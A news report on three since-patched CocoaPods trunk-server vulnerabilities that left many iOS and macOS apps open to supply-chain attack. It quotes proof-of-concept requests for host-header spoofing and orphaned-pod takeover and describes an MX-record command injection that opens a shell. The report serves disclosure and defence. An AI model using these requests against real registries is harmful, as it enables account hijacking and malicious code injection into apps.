3 million iOS and macOS apps were exposed to potent supply-chain attacks

Vulnerabilities that went undetected for a decade left thousands of macOS and iOS apps susceptible to supply-chain attacks. Hackers could have added malicious code compromising the security of millions or billions of people who installed them, researchers said Monday.

The vulnerabilities, which were fixed last October, resided in a “trunk” server used to manage CocoaPods, a repository for open source Swift and Objective-C projects that roughly 3 million macOS and iOS apps depend on. When developers make changes to one of their “pods”—CocoaPods lingo for individual code packages—dependent apps typically incorporate them automatically through app updates, typically with no interaction required by end users.

Code injection vulnerabilities

“Many applications can access a user’s most sensitive information: credit card details, medical records, private materials, and more,” wrote researchers from EVA Information Security, the firm that discovered the vulnerability. “Injecting code into these applications could enable attackers to access this information for almost any malicious purpose imaginable—ransomware, fraud, blackmail, corporate espionage… In the process, it could expose companies to major legal liabilities and reputational risk.”

The three vulnerabilities EVA discovered stem from an insecure verification email mechanism used to authenticate developers of individual pods. The developer entered the email address associated with their pod. The trunk server responded by sending a link to the address. When a person clicked on the link, they gained access to the account.

In one case, an attacker could manipulate the URL in the link to make it point to a server under the attacker’s control. The server accepted a spoofed XFH, an HTTP header for identifying the target host specified in an HTTP request. The EVA researchers found that they could use a forged XFH to construct URLs of their choice.

Normally, the email would contain a valid link posting to the CocoaPods.org server such as:

How a valid verification email looks.

Credit: E.V.A. Information Security

The researchers could instead change the URL to lead to their own server:

An email verification after it has been manipulated.

Credit: E.V.A. Information Security

This vulnerability, tracked as CVE-2024-38367, resided in the session_controller class of the trunk server source code, which handles the session validation URL. The class uses the sessions_controller.rb mechanism, which prioritizes the XFH over the original host header. The researchers’ exploit code was:

POST /api/v1/sessions HTTP/1.1
Host: trunk.cococapods.org
Content-Type: application/json; charset=utf-8
Accept: application/json; charset=utf-8
User-Agent: CocoaPods/1.12.1
Accept-Encoding: gzip, deflate
X-Forwarded-Host: research.evasec.io
Content-Length: 78

{
  "email":"[email protected]",
  "name":"EVAResearch",
  "description":null
}

A separate vulnerability tracked as CVE-2024-38368 allowed attackers to take control of pods that had been abandoned by their developers but continue to be used by apps. A programming interface allowing the developers to reclaim their pods remained active almost 10 years after it was first implemented. The researchers found that anyone who found the interface to an orphaned pod could activate it to gain control over it, with no ownership proof required.

A simple curl request that contained the pod name was all that was required:

# Curl request for changing ownership of a targeted orphaned pod
curl -X 'POST' \
  -H 'Host: trunk.cocoapods.org' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-binary 'owner[name]=EVA&[email protected]'
  --data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND'
  'https://trunk.cocoapods.org/claims'

The third vulnerability, CVE-2024-38366, allowed attackers to execute code on the trunk server. The trunk server relies on RFC822 formalized in 1982 to verify the uniqueness of registered developer email addresses and check if they follow the correct format. Part of the process involves examining the MX record for the email address domain as implemented by this RFC822 implementation.

The process involves receiving an input parameter and using a regex to ensure the email address meets the required format. During the check, the implementation executes a command to concatenate it with the email domain, without any checks for malicious characters that may be contained in it.

The researchers’ exploit worked creating an MX record that stores a malicious bash script that establishes a shell connection to the trunk server. The attacker then submits the address to the trunk server with the |bash command appended. This command injection forces the trunk server to execute the bash script giving shell access to the server.

CocoaPods maintainers disclosed and patched the vulnerabilities last October. At the time, they said they weren’t aware of any active attempts to exploit the vulnerabilities. They did, however, confirm that the scenarios described by the researchers were plausible.

“Being able to execute arbitrary shell commands on the server gave a possible attacker the ability to read our environment variables, which could be used to write to the CocoaPods/Specs repo and read the trunk database,” CocoaPods maintainer Orta Therox explained. “Being able to trick people into clicking on a link which would take them to a third party site could be used to steal their session keys. I can't guarantee neither of these happened, and I'd rather be on the safe side.”

Therox said the worst-case scenario was an attacker using the technique to obtain session keys that give access to app developer accounts and connect authenticated users to pods. After the EVA researchers privately notified CocoaPods developers of the vulnerability, they wiped all session keys to ensure no one could access the accounts without first having control of the registered email address.

The CocoaPods maintainers also added a new procedure for recovering old orphan pods that requires contacting the maintainers directly. An author would need to contact the company to take over one of those dependencies at this point.

There is no action required on the part of app developers or the people using those apps. The EVA researchers, however, advised app developers who were using CocoaPods prior to October to follow the following steps:

• Keep your podfile.lock file synchronized with all CocoaPods developers to ensure everyone is on the same version of the packages. This will ensure that when a new, potentially harmful update is committed, developers will not automatically update to it.
• If you are using a Pod which is developed internally and only hosted in CocoaPods for mass distribution, developers should perform CRC (checksum) validation against the one downloaded from the CocoaPods trunk server to ensure it's the same as the one developed internally (where possible).
• Implement a thorough security review of any third-party code used in your applications.
• Review CocoaPods dependencies and verify you are not using an orphaned Pod.
• Ensure you use third-party dependencies that are actively maintained and whose ownership is clear.
• Perform periodic security code scans to detect secrets and malicious code on all external libraries, especially CocoaPods.
• Be wary of very widely used dependencies as these could be a more attractive target for potential attackers to exploit. CocoaPods is only the beginning.

"While there is no direct evidence of any of these vulnerabilities being exploited in the wild, evidence of absence is not absence of evidence." the EVA researchers wrote. "Potential code changes could affect millions of Apple devices around the world across iPhone, Mac, AppleTV, and AppleWatch devices."